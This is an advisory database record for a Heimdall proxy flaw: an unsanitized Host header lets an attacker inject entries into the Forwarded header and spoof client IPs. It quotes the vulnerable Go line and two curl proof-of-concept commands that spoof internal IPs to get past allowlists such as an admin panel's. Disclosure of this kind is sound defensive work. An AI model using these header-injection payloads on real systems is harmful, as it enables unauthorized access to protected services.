{"id":"GHSA-4jgr-pg2m-m988","revision":"599cdbe62eb84426b80bf3d0e0eb24b3","records":[{"revision":"599cdbe62eb84426b80bf3d0e0eb24b3","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-4jgr-pg2m-m988","aliases":["CVE-2026-57209","GO-2026-5125"],"title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","description":"### Summary\n\nWhen Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request's `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.\n\n### Vulnerable Code\n\n**File: `proxy/request_context.go` (line 201)**\n\n```go\nentry := \"for=\" + clientIP + \";host=\" + in.Host + \";proto=\" + proto\n```\n\nGo's `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.\n\n### PoC\n\n```bash\n# Inject a spoofed IP into the Forwarded header\ncurl -s -H \"Host: evil.com,for=127.0.0.1\" \\\n  \"http://TARGET:PORT/protected-resource\"\n```\n\nThis produces the following `Forwarded` header sent to the upstream service:\n\n```\nForwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http\n```\n\nUpstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.\n\n```bash\n# More targeted attack: spoof to bypass IP allowlist\ncurl -s -H \"Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1\" \\\n  \"http://TARGET:PORT/admin-panel\"\n```\n\n### Impact\n\n- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP\n- **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed\n- **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.","state":0,"publishedAt":"2026-06-18T14:24:41+00:00","modifiedAt":"2026-07-20T21:56:16.5669993+00:00","affected":[{"ecosystem":"Go","name":"github.com/dadrus/heimdall","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.17.17"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/dadrus/heimdall/security/advisories/GHSA-4jgr-pg2m-m988","https://github.com/dadrus/heimdall"],"sourceUrl":"https://github.com/advisories/GHSA-4jgr-pg2m-m988","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4jgr-pg2m-m988","identifiers":["GHSA-4jgr-pg2m-m988","CVE-2026-57209","GO-2026-5125"]},"retained":false,"historicalAffected":[]}],"coverage":[]}